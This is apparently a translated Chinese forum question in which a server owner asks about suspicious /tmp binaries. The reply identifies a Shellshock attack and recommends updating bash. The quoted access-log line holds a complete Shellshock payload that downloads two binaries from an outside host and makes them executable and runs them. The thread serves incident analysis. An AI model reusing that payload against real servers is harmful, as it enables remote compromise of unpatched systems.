我们发现了二进制文件/tmp/susu1
并由/tmp/susu2
网络服务器用户执行。
在日志中我们有以下条目:
[24/Sep/2015:06:09:34 +0200] "GET /cgi-sys/entropysearch.cgi HTTP/1.0" 301 0 "() { :;} ;
echo;/usr/local/bin/php -r '$a = \"http://x5d.su/s/susu1\";''$b = \"http://x5d.su/s/susu2\";
''$c = sys_get_temp_dir();''$d = \"susu1\";''$e = \"susu2\";''$f = \"chmod 777\";''
$g = \"file_put_contents\";''$h = \"system\";''$i = \"file_exists\";''$j = \"fopen\";''
if ($i($c . \"/$d\"))''{''exit(1);''}else{''echo($c);''$g(\"$c/$d\", $j(\"$a\", \"r\"));''
$g(\"$c/$e\", $j(\"$b\", \"r\"));''$h(\"$f \" . $c .\"/$d\");''$h(\"$f \" . $c .\"/$e\");''
$h($c . \"/$d\");''$h($c . \"/$e\");''}'" "-"
但我们发现此类请求的错误代码只有 301、302、403、404、500,没有出现表示攻击成功的 200er 代码。
这是一个常见的安全问题吗?如何解决?或者如何进一步追踪?
答案1
这似乎是一次 shellshock 攻击,它在 2014 年 9 月 24 日 bash 发布针对此漏洞的修复时首次被宣布。
来自 wikipedia 关于 shellshock 的内容
第一个错误导致当命令连接到存储在环境变量值中的函数定义的末尾时,Bash 会无意中执行命令。1[6] 在本文发布后的几天内,对底层设计缺陷的严格审查发现了各种相关漏洞(CVE-2014-6277、CVE-2014-6278、CVE-2014-7169、CVE-2014-7186 和 CVE-2014-7187);Ramey 发布了一系列补丁来解决这些漏洞。
您可以检查您的系统是否存在漏洞,具体方法如下如何测试我的服务器是否容易受到 ShellShock 漏洞的攻击?
您必须更新您的系统或至少您的 Bash 版本来修复该问题。